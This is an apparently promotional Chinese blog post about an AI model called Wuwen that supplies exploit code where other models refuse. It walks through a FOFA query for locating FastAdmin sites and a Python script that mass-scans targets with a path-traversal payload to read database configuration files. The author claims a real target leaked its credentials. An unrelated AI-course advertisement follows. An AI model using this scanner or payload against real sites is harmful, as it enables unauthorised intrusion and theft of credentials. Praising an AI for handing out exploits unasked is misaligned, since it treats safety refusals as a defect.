记一次使用AI大模型在实战渗透测试的案例

最近试用了无问ai模型一段时间,发现该模型对标于其他的ai大模型来说,更符合从事网安行业师傅们的需求。对于大部分模型来说,对用户所需求的漏洞利用情报基本上都是保持拒绝的态度,而无问ai却给出了相关用漏洞利用的poc,甚至会对该漏洞更进一步地利用进行相关分析,也会对其危害,以及提出相关的修复建议。节省了师傅们使用搜索引擎搜索的时间,并且更好地理解相关信息。

其他Ai对相应漏洞利用需求结果的展示:

图片

无问Ai的漏洞需求展示:

图片

案列展示

使用fofa语句,对FastAdmin框架资产进行收集

app="FASTADMIN-框架" || body="\"uploadurl\":\"ajax\/upload\"" || body="api.fastadmin.net" || body="\"fastadmin\":{\"usercenter\":true" || body="content=\"FastAdmin\"" || body="cdnurl\":\"\",\"version"|| icon_hash="-1036943727"

任意输入一个不存在的目录,返回如下界面确定是fastadmin框架

图片

使用无问ai生成的poc进行批量检测目标是否存在漏洞

图片

如下:

import requests

def check_vulnerability(url):
    payload = "/index/ajax/lang?lang=../../config/database"
    full_url = url + payload
    try:
        response = requests.get(full_url, timeout=5)
        if"database"in response.text.lower() and response.status_code == 200:
            print(f"[+] Vulnerable: {url}")
            return True
        else:
            print(f"[-] Not vulnerable: {url}")
            return False
    except Exception as e:
        print(f"[!] Error: {e}")
        return False

if __name__ == "__main__":
    target_urls = ["http://example.com", "http://vulnerable-site.com"]
    for target in target_urls:
        check_vulnerability(target)

对检测成功的目标使用burpsuite抓包进行查看,可以看出得到了数据相关数据库配置文件

图片

并且无问Ai还提供了其他的路径具体的路径及其用途说明,可以用于读取不同的敏感文件或系统配置信息,

图片

图片

图片

总结:

无问AI模型凭借其针对网安行业的深度定制,展现了独特的优势。它不仅能够提供详尽的漏洞利用情报和POC代码,还深入分析漏洞利用方式,评估潜在危害,并提出有效的修复建议。这一系列服务极大地节省了网络安全从业者在信息搜集与分析上的时间成本,提高了工作效率,使得他们可以更快地理解和应对安全威胁。相比其他通用AI模型对漏洞信息的回避态度,无问AI无疑为网安领域带来了更为实用、直接的支持,成为助力网络安全工作的强有力工具

这里为师傅们提供了无问社区邀请链接地址(感谢师傅们点一下友链):

https://www.wwlib.cn/index.php/login/icode/9c82ed5c86a6565f

注册成功后点击无问Ai模型就可以使用啦。

图片

 

 

 如何学习AI大模型?

我在一线互联网企业工作十余年里,指导过不少同行后辈。帮助很多人得到了学习和成长。

我意识到有很多经验和知识值得分享给大家,也可以通过我们的能力和经验解答大家在人工智能学习中的很多困惑,所以在工作繁忙的情况下还是坚持各种整理和分享。但苦于知识传播途径有限,很多互联网行业朋友无法获得正确的资料得到学习提升,故此将并将重要的AI大模型资料包括AI大模型入门学习思维导图、精品AI大模型学习书籍手册、视频教程、实战学习等录播视频免费分享出来。

第一阶段: 从大模型系统设计入手,讲解大模型的主要方法;

第二阶段: 在通过大模型提示词工程从Prompts角度入手更好发挥模型的作用;

第三阶段: 大模型平台应用开发借助阿里云PAI平台构建电商领域虚拟试衣系统;

第四阶段: 大模型知识库应用开发以LangChain框架为例,构建物流行业咨询智能问答系统;

第五阶段: 大模型微调开发借助以大健康、新零售、新媒体领域构建适合当前领域大模型;

第六阶段: 以SD多模态大模型为主,搭建了文生图小程序案例;

第七阶段: 以大模型平台应用与开发为主,通过星火大模型,文心大模型等成熟大模型构建大模型行业应用。


👉学会后的收获:👈
• 基于大模型全栈工程实现(前端、后端、产品经理、设计、数据分析等),通过这门课可获得不同能力;

• 能够利用大模型解决相关实际项目需求: 大数据时代,越来越多的企业和机构需要处理海量数据,利用大模型技术可以更好地处理这些数据,提高数据分析和决策的准确性。因此,掌握大模型应用开发技能,可以让程序员更好地应对实际项目需求;

• 基于大模型和企业数据AI应用开发,实现大模型理论、掌握GPU算力、硬件、LangChain开发框架和项目实战技能, 学会Fine-tuning垂直训练大模型(数据准备、数据蒸馏、大模型部署)一站式掌握;

• 能够完成时下热门大模型垂直领域模型训练能力,提高程序员的编码能力: 大模型应用开发需要掌握机器学习算法、深度学习框架等技术,这些技术的掌握可以提高程序员的编码能力和分析能力,让程序员更加熟练地编写高质量的代码。


1.AI大模型学习路线图
2.100套AI大模型商业化落地方案
3.100集大模型视频教程
4.200本大模型PDF书籍
5.LLM面试题合集
6.AI产品经理资源合集

👉获取方式:
😝有需要的小伙伴,可以保存图片到wx扫描二v码免费领取【保证100%免费】🆓

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值